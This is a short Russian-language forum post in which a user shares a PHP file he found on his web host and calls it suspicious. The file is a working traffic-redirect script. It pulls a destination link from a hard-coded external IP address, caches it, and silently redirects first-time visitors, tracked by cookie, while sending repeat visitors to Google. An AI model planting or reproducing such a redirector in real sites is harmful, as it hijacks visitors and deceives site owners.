Просмотр поста

.
Koenig
(\/)____o_O____(\/)

сейчас на хосте нарыл файл

<?php

set_time_limit(30);

$cache = dirname(__FILE__) . '/link.cache';

$link = @file_get_contents($cache);

if (strlen($link) < 20 || (time()-@filemtime($cache)) > 60)
{
 $link = @file_get_contents('http://78.46.14.162/api.php?action=link&aid=1345&fid=4780&hash=c1120ba44a14664ed80cfa5a18832c1b9b39dec0');

 if (strlen($link) > 20)
 {
 $fp = @fopen ($cache, 'w');
 @fputs($fp, $link);
 @fclose($fp);
 }
}

if (!isset($_COOKIE['traf'])) 
{
SetCookie("traf",'1',time()+86400);
header ('Location: ' . $link);
}

else 
{ 
header ('Location: http://google.com'); 
}


?>

подозрительный скрипт